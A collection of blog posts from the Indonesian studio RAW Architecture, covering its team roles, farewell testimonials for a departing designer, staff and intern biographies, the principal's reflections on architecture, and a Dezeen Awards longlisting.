From details to design concepts, the whole work shows how consistent we are with the richness of a multi-perspective, multi-disciplinary, multi-interest architectural approach. The entire procedure is evaluated in the form of architectural theory and is widely published. It aims to jointly support the appreciation of architecture and the architectural profession in Indonesia. I believe that architecture, when thought out, is a powerful force that can improve the lives of many people.
Associate Designer
Associate designers at RAW Architecture have 1 year to 5 years of experience. The designers will be trained to reach the level of becoming a registered architects. They are connected in a studio where practical case studies are discussed to become a comprehensive grammar studio. In general, in some studios, the associate designer is called a junior architect or architectural assistant part 2 for ARB (Architect Registration Board) standardization. The name about this is related to habits and the meaning you want to aim for. I think there is a fundamental concept that is our studio culture about interpersonal relationships. I answered it with the idea of associate or associated with a collaborative, personal, and multi-personal design process. The associate is a concept that connects people’s social relationships with one another. A designer is someone who tries to solve design problems.
The learning process to become an associate designer at our studio has two paths. The first path is learning at the conceptual stage, then understanding how to draw technically well. The second path is to learn directly in the field, know the construction details, and then dismantle the knowledge of architectural concepts. Associate designers are people who have creative and critical power in answering architectural problems. The architectural design process faced by associate designers starts from reading the situation and context, dialogue with the principal for formulating design steps, managing project management, and carrying out forensic engineering with the integration of multi-disciplinary knowledge.
The association’s conception experiences a shift in meaning and reality every time due to the complexity of ethics, capabilities, and professional facts that the Indonesian Architects Association constantly updates.
Administration
The people in the administration department are responsible for documenting project archives, studios, libraries, including keeping the discipline of the large team as simple as possible regarding the neatness of bookkeeping related to taxes, accounting, finance, taxes, public relations, and personnel. Administrative tasks are carried out by recording chronologically according to job categories with an integrated system. The administration team led by Drg. Laurensia Yudith maintains client relations and reports with the principal to maintain the studio’s accountability and credibility.
Librarians and Researchers
The people involved in this division work in the Omah library. They are librarians who catalog and archive books. Librarians also have duties as researchers who carry out writing and production of knowledge through architectural literacy. Furthermore, the activity at Omah Library is to dialogue about relevant thought discourses with individuals who have critical thinking about everyday problems. At Omah Library, librarians and researchers also help develop architectural theory and archive case studies to form the basis for further architectural discourse. Librarians and researchers generally have 1 – 5 years of experience with multi-perspective thinking and comprehensive literacy skills. There are times when I invite them to develop architectural theories that are useful for our practice.
Craft Leader
The Craft Leader here means the leader of the builder who dedicates his time to the art, passion, and ability to not only build but make building art with taste and become a focus for subordinates indirect work or provide direction. The educational process to become a craftsman leader starts from the assitant, 1/2 craftsman, craftsman, executive craftsman, master craftsman. They are people who have 25-35 years of experience starting from before our studio was founded, during the time of my grandfather and parents. They have 10-25 years of practical experience who have had at least 3 built projects. In the next stage, the chief craftsman transforms into an advisor of art in building. They have worked from Sumatra, Kalimantan, Java, to Sulawesi.
Epilogue
Documentation of how we work, my interpretation of the ecosystem. The practical craftsmanship of RAW Architecture in Indonesia is being compiled in a manuscript on the philosophy of thinking about the roots of our craft school as a small, mutually supportive ecosystem.
“26 September 2020 nanti tepat 4 tahun saya bergabung dengan RAW Architecture. Bukan waktu yang sebentar tapi juga masih sangat dini dalam berkarir di dunia arsitektur. Untuk saya pribadi, proses pendewasaan dan perubahan pola pikir saya banyak terjadi dalam masa-masa tersebut. Saya beruntung dipertemukan oleh teman-teman dengan karakter unik yang akhirnya banyak membuka pikiran saya. Dunia arsitektur sangat luas cakupannya. Dulu saya kira dengan saya tidak mahir dalam mendesain dan merender, saya tidak bisa melanjutkan karir saya di bidang arsitektur. Tapi setelah saya masuk dalam tim laboratorium ketukangan , saya menemukan kenyamanan dalam pola kerjanya. Menggambar detail, mencari solusi untuk lapangan, diskusi dengan principal sampai mandor, mengenal material, dll. Memperhatikan proses dalam mewujudkan bentuk dari gambar ke bentuk nyata di lapangan memberi kepuasan sendiri untuk saya,
Harapan saya kedepan untuk tetap menjaga produktifitas, kesehatan pikiran maupun tubuh, antara waktu pribadi dengan urusan kerja harus tetap seimbang. Tentunya dengan memaksimalkan porsi waktu yang sedang dijalani. Selain itu bagi saya, adanya kegiatan sosial perusahaan di luar studio memberi dampak positif. Karyawan antar divisi menjadi lebih kenal satu sama lain yang nantinya bisa melatih kepekaan untuk menjalin kerja sama yang baik antar karyawan, melebur jarak antara atasan dengan bawahan, dan pastinya untuk melepas stres dari rutinitas harian.” – Fadiah Nurannisa
Fadiah Nurannisa as the best designer of the month
“Memang skill sosial penting, leadership itu ada 5 tingkat, pemimpin tingkat lima menunjukkan respek kepada orang di sekitarnya, daripada memenuhi ambisi dirinya sendiri, hal ini penting untuk membentuk the gift society, dan Ica adalah salah satu orang yang memiliki ketulusan dalam memimpin orang lain dan juga dirinya sendiri. Di balik jatuh bangunnya ia di dalam belajar, ada sebuah semangat untuk terus maju. Ia akan tersenyum dan bangkit lagi, dari situlah memang studio kami perlu bersyukur bisa bekerja sama dengan pribadi seperti Ica” – Realrich Sjarief [Principal RAW Architecture]
Farewell Memory with Fadiah Nurannisa
Testimonial di hari terakhir :
“Icha cukup tangguh bisa di build, melalui tantangan dan masalah di konstruksi namun tetap fokus dengan tujuan agar semua berjalan lancar dan sesuai rencana. Semoga kedepannya bisa lancar ditempat baru dengan segala bekal yang sudah dipersiapkan.” – Erick
“Sukses selalu buat Ica, semoga menjadi arsitek handal, selalu supel dan humble. Jadi berkurang nih temen buat jajan bareng 🤣, semoga dapat temen yang sama serunya seperti disini, nanti silaturahmi ya. Good luck ca” – Novita Gunawan
“setiap pertemuan pasti ada perpisahan, tapi aku harap ini bukan ini bukan pertemuan terakhir. tetap menjadi ica yang ceria dan humble dimanapun kamu berada. berbagai hal sudah kamu lalui, baik suka maupun duka, semoga segala kenangan indah tetap tersimpan baik di hati dan kenangan buruk menguap bersama waktu. kita mungkin tidak banyak ngelaluin waktu bareng-bareng selama disini, tapi terima kasih sudah menjadi rekan yang baik dan sahabat di waktu yang sama. semoga di tempat yang baru kamu segala tujuan dan cita-cita dapat tercapai. iloveyou my msg <3”-Memehaa
“Fadiah termasuk salah satu tim desain dan build yang sudah cukup lama ada di kantor ini, senang melihat kamu dapat terus berproses dalam pekerjaan dan hobby pribadi kamu di tengah banyaknya tekanan dari lapangan. Sukses selalu di tempat yang baru.” – Caroline Moeljono
“Benchmark, satu hal yang teringat ketika melihat seorang icha. Di dunia konstruksi yang tidak mudah, beliau dapat berenang bahkan menyelam dengan baik. Baik secara mental, mengatur dan mengatasi masalah pekerjaan, dan koordinasi lapangan yang patut dicontoh. Mungkin beliau dapat menjadi benchmark terutama bagi para perempuan yang seprofesi. Tidak perlu otot yang kekar, atau suara yang lantang, hanya dengan melihat rupa, orang-orang sekitar maupun dilapangan seakan tunduk. Muka jutek dan cara berjalan yang mengagetkan, seakan mengintimidasi. Ciri yang sangat khas yang dimiliki oleh icha. Semoga sukses terus ca, kesan yang anda berikan pasti akan selalu berkesan, Semangat untuk icha di tempat yang baru, semoga terus berdampak baik untuk orang lain diluar sana. Jangan lupa kita-kita, ditunggu kabar baik lainnya caaa…” – Rico Yohanes
“Bersyukur bisa berpartner dengan icha, sangat banyak membantu belajar hal2 teknis pada awal transisi dari conceptual ke build. Selain itu saya juga banyak belajar bagaimana icha berkomunikasi dan bersosial dengan para stakeholder. Orangnya sangat totalitas, intelektual hingga emosiannya dicurahkan, berani berkorban, “bondo bahu pikir, nek perlu saknyawane pisan” kira2 begitu hehe… to be emotional is good dan manusiawi, dan itu bagian dari kekuatan, …perlu diorganise …… serahkan semua pada Yang Maha Pengatur Segala Sesuatu :) dan jangan lupa jaga kesehatan, semoga petualangan barunya bisa menyehatkan fikiran, hati dan badan. Thank you Bund :D” – Alim Hanafi
“Untuk kesannya mbak icha orangnya baik ramah,terus suka bergaul sama orang, *untuk pesan buat mbak ica tetep semangat diluar sana dan semoga semakin sukses terutama ditempat yang baru,terima kasih sudah menjadi bagian dari keluarga besar RAW semoga ilmu yang didapat disini semoga bermanfaat dan bisa dikembangkan diluar sana” – Kiswanto
“Perubahan terus terjadi seiring perjalanan waktu, Tetaplah menderu bersama waktu agar prestasimu tak meredup di tempat yang baru.” – Pepen Effendi
“Selamat untuk ka icha karena sudah berhasil belajar banyak di RAW, pasti banyak tantangan dan rintangan yang ka icha hadapi. dengan bekerja dengan waktu yg cukup lama, gua sangat salut dengan ka icha bisa menghadapi semua tanggung jawab dan tugas yang diberikan. semoga gua juga bisa terus belajar dan tumbuh menjadi seseorang yg lebih baik lagi seperti ka icha. gua doain kedepannya ka icha bisa sukses terus dan lancar terus, Aamiin!!!” – Farrel Ihsan Prahaditya
“Dear kak Icha, so nice to know u even kita belum pernah ada partneran bareng. based on ur experience, selain jadi senior di kantor, ka Icha udah berhasil jadi sister figure di studio. goodluck on ur future endeavour ya kak! semoga lancar segala urusan dan apapun yang mau dituju ^^” – Pandu
“Semoga sukses untuk perjalananmu selanjutnya dan segala urusannya dilancarkan dan kamu akan selalu menjadi bagian dari kami.” – Yuliana Putri
“Hai ca, waktu pertama gw masuk ke RAW lo duduk di sebelah kiri gw. Lo cerita tentang keluarga lo yang ternyata berasal dari Lahat (Sumsel) dan pengalaman di sana. Buat gw itu kayak lo terima gw dihidup lo, untuk jadi bagian dari hidup lo (GR bgt gw). Thank you so much untuk semua hal yang lo ajarkan buat gw, untuk semua curhatan yang lo ceritakan dan lo dengar dari gw. Teruslah berkarya dan kembangkan hobi lo. Sukses selalu dan sampai ketemu lagi ca❤️” – Meimei (Agustin)
“Untuk ica, orang yang adventurous bgt, selamat menempuh next step hidup hahahaha semoga bisa selalu berkreasi di dunia kerja yang baru. Danura-nya juga lancar, sampingan yg menyenangkan ditengah kesibukan berarsitektur. Bisa Yoga lagi, jaga pola hidup sehat, smoga next kita bisa pijet bareng lagi. Bisa cepat dihalalkan supaya ngga yang ngga2 wkwk. Keep being you yaa, keep humble :)” – Vivi yani santosa
“Happy graduation kak Icha! Semoga sukses di tempat yang baru. Selamat menikmati liburannya juga. Sayang banget karena baru kenal sebentar, dan belom terlalu deket. Soalnya kayanya seru gitu orangnya. Gabisa ngomong terlalu banyak, tapi semoga bahagia bahagia terus ya! Jangan lupa bahagia, selamat menapak hidup baru!” – Tyo
“Untuk Icha, I do feel grateful to have met you in these past 2.5 years. I learned from you how to deal with people and maintaining balance between them and yourself. Sorry banyak jd tempat curcol. wkwk. Semoga kedepannya lebih baik, dan welcome to another phase of your life. Great work!” – Satria A Permana
“Untuk Kak Ica, mungkin ga terlalu panjang karena baru sebulan disini dan belum terlalu deket sama Kak Ica juga cuma aku ngeliat Kak Ica itu orangnya terlihat asik gitu, friendly gtu dan kadang bisa cairin suasana gituu, itu sih yang baru aku liat hehehe mungkin untuk pesan semangat terus Kak Ica dimanapun Kak Ica berada, sukses selalu dan semoga apa yang Kak Ica lakuin , disetiap proyek yang dikerjakan bisa jadi berkat bagi orang sekitar GBU” – Eubisius Vercelli a.k.a Ubi
“Hallo ka ica, gak kerasa ya kita udah kenal 5tahun, dari awal ketemu ka ica itu orangnya friendly banget, mau main dan bergaul sama siapapun selalu welcome gak pernah beda-bedain mau deket sama siapa aja, dan selalu happy walaupun kalo pulang dari proyek mukanya capek banget tapi tetep kalo di tanya orang pas lagi capek tetep jawab dengan baik dan happy, aku pribadi seneng banget bisa kenal sama ka ica, dan ka ica juga bisa kenal dan baik sama keluargaku aku seneng banget, tapiiiii bener kata pepatah ya ka ” setiap ada pertemuan pasti ada perpisahan ” tapi ini kan gak pisah ya ka hahahaha, semoga ka ica selalu menjadi pribadi yg baik dan selalu bisa menjadi dirinya sendiri, serta selalu dicintai oleh orang banyak, tetap semangat dan jangan menyerah buat kedepnnya ya ka ica, apapun itu yang ka ica hadapi semua di jadikan pembelajaran agar bisa menjadi yang lebih baik, terimakasih ka ica sudah menjadi bagian teman baik dalam hidupku :))) sampai jumpa di lain waktu dan tempat ya ka:) sukses dunia akhirat aamiin :))))”-Nurul Septiawati
“Kak Ica itu. Sosok ibu. Sosok kakak. Sosok pelindung buatku. Orang pertama yang nyambut kedatanganku di depan pintu RAW September tahun lalu. September tahun ini Kak Ica resign. Orang yang banyak ngajarin berbagai hal dari software, hal – hal teknis, cara bersikap di lapangan, kerja keras dan kerja cerdas, tangguh, sabar, pantang menyerah, cepet banget kerjanya, bertanggung jawab banget. Meskipun kerjaannya banyak tapi juga sambil bantuin aku. Sedih si di hari terakhir Kak Ica di kantor aku harus isoman. Tapi seneng juga selama 2 hari isoman bisa sama-sama ke proyek di Bogor. Semoga Kak Ica selalu seneng sama apapun yang Kak Ica pilih, sukses dan bahagia selalu, lancar dan dipermudahkan semua rencananya. Aamiin.”-Fina
“Kak icha orang pertama yang menyambut saya digerbang ketika datang pertama kali ke RAW saat itu. First impressionnya ketika pertama ketemu orangnya super ke ibuan dan perhatian dengan sekitar, peka dan sangat menghargai waktu dengan baik. Orangnya keren banget bisa membagi waktu dengan berwirausaha ditengah kesibukan di kantor. Punya jiwa kepemimpinan yang super keren dan terlihat tangguh. Kak icha salah satu orang yang bikin kantor terus berwarna karena kadang suka ngelawak kayak lenong di tv dan itu membuat suasana kantor jadi seru dan fun banget. Makasih buat kak icha udah jadi ibu kos yang super perhatian dan sabar ( karena gw suka berisik haha ) dari awal masuk hingga saat terakhir ini, Semoga kak icha makin sukses di luar sana dan selalu tetap menjadi orang yang humble dan berhati keibuan :))” – Andriyansyah Muhammad Ramadhan
“kak ica itu tipe sosok perempuan yang tangguh, bisa tegas, dan juga tau tanggung jawab. tau kapan saatnya tegas dan kapan saat nya slow & chill. Suka ngajakin dan kordinator buat beli makanan saat jam makan. open minded tentang finansial jangka panjang , dan yang saya paham orangnya suka ambil resiko tinggi :)” – Alvyan Adi Saputra
“Icha is a strong independent women. she has unique sense of sensitivity to the environment she’s living in, a “Yoni” and also a mother figure to many people who are close to her. saya suka panggi icha ibu, karna sosoknya emang rada keibuan, pakaian warna warni persis seperti ibu saya :) pandai membangun hubungan dengan para tukang dan juga kolega lintas divisi. shes a loose person who can adapt easily to many kind of situations and persons which make her a quite unique person. sukses buat Icha kedepan semoga bahagia.” – Timbul
“Kak Icha has plenty of experience that can easily be seen through when we are gazing towards her. When I hear her report every monday, it seems like all of those stuffs are easily managed and controlled by her, calmly but surely. Aside from her ability on work, her other side that is humorous, friendly, and really kind, will come up immediately on non-work hours. She is very kind, and easy-going. Very calm though I can expect that the stuff she needs to do and have responsible on is quite many, demanding and crucial. I am wishing the best for Kak Icha’s next plan in the future. I hope everything that Kak Icha has ever wanted will easily show itself, and go towards the wanted track. I also hope that there will still be a time and a chance for Kak Icha to meet and play again with RAW and OMAH family in the future. Wishing you the best of luck, kak!” – Avinsa Haykal
“halo kak ica! hehehe walaupun br kenal kurang lebih 3 mingguan, tp super hepi bisa kenal sama kak ica! kak ica orangnya fun, keibuan juga hehehe sama yg paling menonjol sih kak ica orangnyabtegas tapi asik! hehehe semoga sukses selalu kak kedepannya! makin banyak peluang yang datang dan jadi pribadi yang tetap cheerful! God bless & stay safe also stay healthy kak! 😙” – Gabriela Marcelina
I graduated from DIII Midwifery in 2016, then continued my education for the undergraduate level of Hospital Management at Esa Unggul University. I graduated in 2019, and My work experience and internships were in several hospitals, health centers, independent clinics, and midwives. I like a lot of things and want to learn wherever it is because, in my opinion, learning is not only focused on one goal or one major that we are studying. I am learning can be taken from many sides. That’s why this is one of the reasons I was able to join here to be a part of this family. It started from what I had not been able to do until now. One step ahead, I have learned what the intent and purpose of what I do is. I hope that with me joining the team here, I can be one of the best among the good.
With my experience of working for almost five years, I am pretty proud of what I can do and learn here because, for some people, it is not easy to want to learn again from scratch. Still, I chose to be able to learn again from the beginning starting from the very beginning. I did not understand anything until finally here I could understand and learn a lot of things. Work and Play is my motivation. It means I can work while playing and complete the job properly and correctly according to what a boss wants. I hope that what is already in here can always be adequately maintained and further appropriately developed to become better individuals in the future. If there are still things that are not good, let’s learn together to improve. I am pleased because I can be a part of this RAW Architecture.
Hari – hari ini saya menghabiskan banyak waktu bersama Laurensia di studio dan keluarga, sembari banyak mendiskusikan hal – hal terkait proyek bersama klien melalui zoom meeting. Pandemi ini memberikan banyak keresahan dari para peserta seminar dari dua webinar sebelumnya, ada banyak pertanyaan juga mengenai arah arsitektur di Indonesia kemana sebaiknya melangkah, bagaimana keadaannya, kenapa kok ngga maju – maju ? Hal – hal tersebut muncul di dalam keseharian saat ini yang berdasarkan keinginan untuk menyibak tirai ilusi dan mendapatkan kenyataan sebenar. Pertanyaannya apakah semudah itu ?
Saya merasakan bahwa saya punya perasaan aneh, perasaan bahwa akan meninggal, sakit, dan waktu itu terbatas. Saya pernah sempat masuk rumah sakit. Saya terkena penyakit lever, hepatitis A pada waktu itu saya mengambil ekatra kurikuler cukup banyak seperti tennis meja, tennis, badminton, aikido, aktif di organisasi keagaamaan dan mengikuti orientasi atau sederhananya mapram yang memakan waktu hampir satu tahun. Pada waktu itu saya masuk rumah sakit Pertamina selama 3 minggu, ayah saya tidur menemani saya selama itu juga di lantai beralaskan matras sederhana.
Malam hari tiba, Beliau tidur di lantai dengan kasur gulung ketika beristirahat. Momen – momen itu adalah saat terbaik saya mengamati kesehariannya. Ia tidak banyak bicara, hanya mengamati kawan – kawan saya yang datang dan pergi. Ketika kawan saya datang ia perlu keluar koridor atau berkeliling sejenak. Ia mengerti mungkin ia menganggap kami perlu privasi. Terkadang Ia mengingatkan bahwa saya perlu beristirahat. Ia mencari infus dan obat ke berbagai macam tempat dengan kakak saya supaya kadar SGPT dan SGOT saya yang 4300 an bisa turun menjadi ratusan. Kakak saya juga mirip dengan ayah saya ia juga tidak banyak bicara. Saya tahu kakak saya sibuk sekali karena pada waktu itu sedang menyelesaikan skripsi dan mempersiapkan bisnisnya. Ia memperluas sisi pemasaran bisinya dan kerap bolak-balik Jakarta dan Bali karena keperluan negosiasi dengan distributor brand yang berlokasi di Bali.
Energi saya memang sedang habis – habisnya pada waktu itu karena banyak membantu kegiatan kemahasiswaan sembari mengerjakan tugas TPB (tahap orientasi awal di ITB). Ada transisi besar dari masa kuliah sampai masa mahasiswa dan saya pada saat itu dipaparkan dengan kemahasiswaan, dan terlibat dengan beberapa kegiatan berbagi di Bala Keselamatan.
Dari cara ayah dan kakak saya memperhatikan saya. Mereka memberikan energi yang mereka punya untuk mengisi energi saya. Saya dididik dengan suasana sehari – hari bahwa, perhatian diberikan sepatutnya sewajarnya saja, laku kami adalah bukti bahwa kata – kata perlu menjadi perbuatan nyata di dalam keseharian. Kami semua sadar bahwa kami saling menyayangi tanpa harus berkata sayang. Hal tersebut adalah sebuah sikap menunjukkan dengan perbuatan tanpa perlu berkata – kata manis.
Selama ini saya terus mencari – cari apa kira – kira padanan istilah tersebut sampai pada satu saat berdiskusi dengan Jolanda Atmadja. Ia menjelaskan dengan istilah, “Semesta Kecil” yang adalah kondisi bawah sadar alam pikiran yang mendasari perbuatan. Dan, saya mendapatkan banyak inspirasi semesta – semesta kecil tersebut dari banyak orang yang menyumbangkan pikiran – pikiran untuk menjawab pertanyaan diatas.
Salah satunya pak Ryadi Adityavarman, beliau menjelaskan kemungkinan – kemungkinan apa yang bisa dipikirkan mengenai arsitektur di Indonesia. Hal – hal soal kemajemukan, soal regionalisme, soal kehalusan, kecairan, yang merupakan kunci – kunci dalam alam teori. Lain halnya di Indonesia, begitu juga yang terjadi di Thailand, mereka mengalami hal serupa. Saya mengetahui hal tersebut dari diskusi dengan Boonserm di studionya dan di lobby hotel Samsan, Bangkok, Thailand,
Bagian Relasi Sosial Arsitektur Berkelanjutan… Lihat lebih lanjut pada halaman research arsitektur berkelanjutan di link di atas
“Realrich, be mindfull selalu ingat akan konteks, mengakar, tanpa kehilangan arah. Sabar ketika harus sama, membaca arah konteks, praktik perlu dilakukan dengan kehati – hatian terhadap keinginan untuk memperkenalkan diri.”
Hal tersebut di dunia ini tidak terlepas dari dampak dari “representasi yang berlebih” yang kerap menjadi keluhan para intelektual di dunia informasi. Saya percaya akan semesta kecil yang baik dan kita membutuhkan orang lain yang justru akan memberikan lompatan yang tidak ternilai selain proses pendalaman diri. Di titik ini Boonserm bisa melakukan lompatan dari human centric architecture ke non human centric architecture. Kondisi budaya Thailand dengan masyarakat yang memiliki apresiasi terhadap budaya, arsitektur, dan gajah. Ketiganya memberikan warna dalam karya Boonserm. Urusannya bukan soal antar manusia lagi namun manusia dan alam.
Tanpa adanya inisiatif dan energi yang aktif untuk merangkaikan ketiganya menjadi karya, tidak akan ada lompatan inovasi tersebut. Sudah cukupkah kita mengenal Indonesia luar dan dalam ? Menembus kesombongan dan merendahkan hati untuk fokus berkarya. Intinya ada di laku sikap keseharian, hal ini dibahas oleh Singgih Kartono di dalam aspek pendalaman jiwa di dalam manifesto cyral spiriterial yang kontekstual dengan pendekatan Boonserm, Ryadi sebuah semangat persaudaraan dan rekonsilisasi. Dunia cyral spiriterial terdengar baik, terlihat indah, terasa nyata, dalam dan tidak sulit dilakukan memberikan kebajikan dalam membangun kota dan desa, jiwa dan materi.
Tulisan Singgih Kartono mengenai Cyral Spiriterial
Saya berterima kasih ke Singgih Kartono seusai sesi diskusi.
“… senang bisa berbagi pengalaman…ini satu tulisan serial untuk pengantar tidur, silahkan dibagikan…Kapan2 bikin workshop arsitektur, implementasi konsep Cyral-Spiriterial dalam dunia arsitektur ya.”
Saya lampirkan konsep dari beliau di bawah untuk teman – teman yang mau membaca dan jangan lupa kunjungi website, dan sapa beliau bisa di sosial media ataupun bertemu langsung. Singgih menjawab dengan semesta kecilnya, dan kemudian arsitektur menerima inspirasi dari disiplin lain. Selamat datang masa depan.
Filsafat seringkali dianggap sebagai suatu ilmu yang tidak dipahami peruntukkannya. Padahal bila ditilik lebih lanjut, filsafat memberikan banyak hal dan dampak bagi kehidupan sosial, budaya, maupun hal lainnya dapat memberikan suatu gambaran terhadap ilmu filsafat arsitektur yang memiliki hubungan dengan perkembangan gerakan arsitektur modern salah satu isu nya apakah di era modern mempengaruhi unsur nilai identitas arsitektur tradisional nusantara Ruang Riung #05 merupakan kegiatan diskusi seputar ke arsitektural, kegiatan ini dibuat sebagai wadah untuk kita mahasiswa yang ingin mendapatkan pengetahuan dan wawasan dunia arsitektur. Pada Kegiatan kali ini mengusung Tema “Modernisme Dalam Filosofi Arsitektur Tradisional”
Philosophy is often regarded as a science that is not understood
allotment. In fact, when viewed further, philosophy provides many things and impacts on social life, culture, and other things can provide an overview of the philosophy of architecture that has a relationship with the development of the modern architectural movement. One of the issues is whether in the modern era it affects elements of architectural identity values the traditional archipelago of Ruang Riung #05 is a discussion activity about architecture, this activity was created as a forum for us students who want to gain knowledge and insight into the world of architecture. In this activity, the theme is “Modernism in Traditional Architectural Philosophy”
Ronny Gunawan asked me to share design thinking on projects. How to be creative and critical. The studio in UAJY exercises Plowright as design method. In this diagram shows how to understand context from social cultural technical is the techne. That is the part of acquiring the skill of understanding things / topos / human character / programs and all of the basic things.
Then critical thinking is started on how to filter the information and synthesis the questions. It’s when we form the hypothesis and start the process of mapping. The mapping is the starting of deliberate creativity , the it’s going back and forth to propose and evaluate becoming a proposal.
The practice looks so easy, but the really it’s not easy, because each decision involving the creativity and critical design process and it’s actually involving actors in every decision. How to negotiate between the boundaries. That makes the design is wicked but it’s also proving why architecture is so damn complex and damn powerful. It’s powerful because the proposal is based of steps of process and the culture is not easy. Like my greatest professor said, in every lines, there are design decisions, creative thinking and critical thinking, its shows how good you are and how long you have trained so far.
Eubisius Vercelli Ocvanto Kuncoro Seorang anak kecil yang terlahir dari Arsitektur Universitas Pelita Harapan 2021 yang suka dipanggil dengan sebutan Ubi. Keinginannya untuk menjadi seorang pemenang Pritzker Prize, sebuah nobel penghargaan dibidang arsitektur atas karyanya terhadap kemanusiaan, bukan untuk pamor penghargaannya melainkan untuk menjadi motivasi membuat karya yang bisa berdampak bagi kemanusiaan dan lingkungan sekitarnya. Ubi terus berkelana untuk mencari tahu kontribusi seperti apa yang bisa dia berikan untuk dunia arsitektur dan perjalanannya terus berlanjut saat Ubi mulai menemukan ketertarikannya terhadap arsitektur tanah. Ketertarikannya tersebut membawa Ubi memulai pembelajarannya lebih lanjut ke Jatiwangi Art Factory 2019, Workshop Dome di Auroville Institute di India 2020 , kerja sosial membangun Museum Wakare sebagai salah satu objek arsitektural di Kawasan Kota Terakota Jatiwangi pada tahun 2020 , membawa topik arsitektur tanah sebagai topik dari tugas akhir dia sebagai mahasiswa arsitektur , serta melakukan riset dan eksplorasi berkelanjutan untuk bisa melakukan perkembangan material tanah di Indonesia maupun dunia.Ketertarikan Ubi terus menerus bertambah seiring berjalannya waktu dengan menemukan Instalasi dan Tarian Seni, Filosofi, Sejarah, dan Arsitektur Hijau. Oleh karena keinginannya yang kuat, saat ini Ubi yang masih merupakan seorang anak kecil didunia arsitektur, memilih untuk belajar bagaimana kehidupan di dunia arsitektur dengan bergabung sebagai anak magang di RAW Architecture yang dimiliki oleh Pak Rich yang merupakan salah satu dari 3 role model Ubi di dunia arsitektur. Ubi berharap dapat melatih kemampuannya sebagai seorang arsitek yang mumpuni dalam segi pemikiran,perasaan, teknikal, sosial, dan ekonomi sehingga di setiap detik ia melangkah ia bisa berdampak bagi sekitarnya.
Testimonial
Jujur ini merupakan salah satu checkpoint atau impian saya saat saya kuliah dan saya merasa terberkati bisa bergabung di keluarga RAW Architecture, meskipun saya cuma sebagai anak magang disini. Disini saya merasa bagaimana kita harus terus mau belajar dan mengembangkan diri untuk jadi pribadi yang lebih baik dan bisa bermanfaat bagi sekitar. Saya melihat, mengamati, dan ikut merasakan bagaimana kehidupan di RAW Architecture terjadi. Meskipun baru satu bulan saya merasakan bersyukur dan bahagia bisa bergabung di keluarga ini.
Surat Motivasi
Yang terhormat dan terkasih, Pak Realrich dan Keluarga RAW Architecture. Saya dan kita sebagai manusia semuanya diciptakan dari nol, sesuatu yang paling dasar. Kita harus belajar, bergerak dan melakukan sesuatu berulang-ulang hingga suatu saat nanti kita ahli dalam hal yang sudah kita pelajari. Dunia arsitektur pun begitu. Kita harus belajar, bergerak, mencobanya berulang-ulang hingga suatu saat kita menjadi ahli. Semua hal harus kita lakukan sedemikian rupa, belajar, bergerak, dan melakukannya berulang kali dalam suatu aspek yang sedang kita geluti. Tidak ada yang berbeda dari setiap aspek, awal dan akhir tujuannya sama, yaitu untuk menjadi ahli. Tetapi yang berbeda ialah bagian antara awal dan ahli, yaitu proses.
Dan untuk itu perkenalkan, saya Eubisius Vercelli Ocvanto Kuncoro, seorang sarjana lulusan arsitektur Pelita Harapan 2021 yang juga merupakan seorang anak kecil yang baru hanya dibalut dengan kain yang bertuliskan “mahasiswa arsitektur” selama 4 tahun. Seorang anak kecil yang belum sepenuhnya mengetahui dunia arsitektur dan mau terus berproses didalamnya. Seorang anak kecil yang memiliki mimpi dan keinginan besar untuk menjadi pemenang Pritzker Prize, bukan untuk ketenaran dan penghargaannya tetapi untuk menjadi motivasi untuk terus berkarya dan berdampak bagi manusia disekitarnya. Sejujurnya pertama kali setelah menerima kabar bahwa diri saya lulus dari Arsitektur UPH, pertanyaan yang terbesit setelahnya adalah “abis ini mau ngapain ya?” tentunya pastinya berbahagia karena lulus, tpi bukan itu. Lebih kepada checkpoint apalagi yang akan saya tuju berikutnya. Akhirnya checkpoint selanjutnya ialah untuk mencari kerja. Diawal menentukan mau kerja dimana saya bingung akan kerja dulu atau magang terlebih dahulu karena saya belum pernah bergabung dalam suatu firma arsitektur. Setelah saya berpikir , berpikir, tertidur, berpikir lagi akhirnya terbesit dalam pikiran saya untuk hal pertama yang saya cari ialah mentor. Sepertinya arketipe yang disampaikan oleh Carl Jung mengenai Wise Old Man, orang tua yang bijaksana dari situ saya melihat bahwa penting bagi saya, seorang anak kecil yang masih mencari kebenaran di dunia arsitektur untuk menemukan seorang “Wise Old Man” bukan untuk menentukan kebenaran saya, tapi untuk membantu saya berkembang dan belajar bertumbuh dalam dunia arsitektur. Oleh karena itu saya melihat sosok Pak Rich.
Kenapa Pak Rich? Alasan paling dasar karena Pak Rich, selaku empunya RAW ini merupakan salah satu dari ketiga role model saya selama saya berkuliah di arsitektur UPH yang saya tahu memiliki firma arsitektur. Beliau mengajarkan saya banyak hal dan salah satunya yang paling saya ingat yaitu bahwa “tidak usah takut untuk jadi diri sendiri karena setiap orang punya metodenya masing-masing”, dan kata-kata beliau tersebut selalu menjadi motivasi saya untuk saya lebih percaya diri dalam mendesain karya-karya saya, Dan setelah saya sedikit melihat tentang firma arsitekturnya yaitu RAW Architecture, saya menyukai projek-projek RAW yang menggunakan material asli pada bangunannya. Bagaimana sebuah bamboo dan material lainnya dicoba untuk diolah/dieksplorasi sesuai dengan keaslian tektonikanya masing-masing. Dimana disini juga berfokus pada ketukangan terhadap material aslinya sehingga bisa lebih menghidupakan lagi sebuah keaslian materialnya dan ekosistem (tukang,arsitek,bangunan, client dan lainnya) di sekitarnya.
Dan akhirnya, itulah alasan saya kenapa saya tertarik untuk menjadi bagian dari keluarga RAW Architecture. Menjadi seorang anak kecil yang mau belajar di sebuah keluarga dan kedepannya akan membawa pemaknaan dari pembelajaran dikeluarga tersebut dan membagikannya kepada orang sekitar sehingga bisa berdampak bagi sekitarnya.
Our studio is in Long-Listed of Emerging Studio in the World 2021 by Dezeen. The studios selection is the fourth Dezeen Awards 2021 longlist to be unveiled. The architecture longlist, interiors longlist and design longlist were published earlier this week, and tomorrow the new media categories longlist will be announced.
Longlisted projects and studios have been selected from over 4,700 entries from 87 countries for the fourth edition of our awards programme, which celebrates the world’s best architecture, interiors and design as well as studios and individuals producing the most outstanding work.
The judges will determine which studios feature on the shortlists, which will be announced in September. A further round of judging by our master jury will determine the category winners, which will be announced in November.
Other than us there is another Indonesian Studio as well RAD+ar , it’s collective effort in global to share what’s going on in our own specific context.
Founded in 2011, RAW Architecture (Realrich Architecture Workshop) is a ground-breaking design studio consisting of architects, thinkers, and craftsmen.
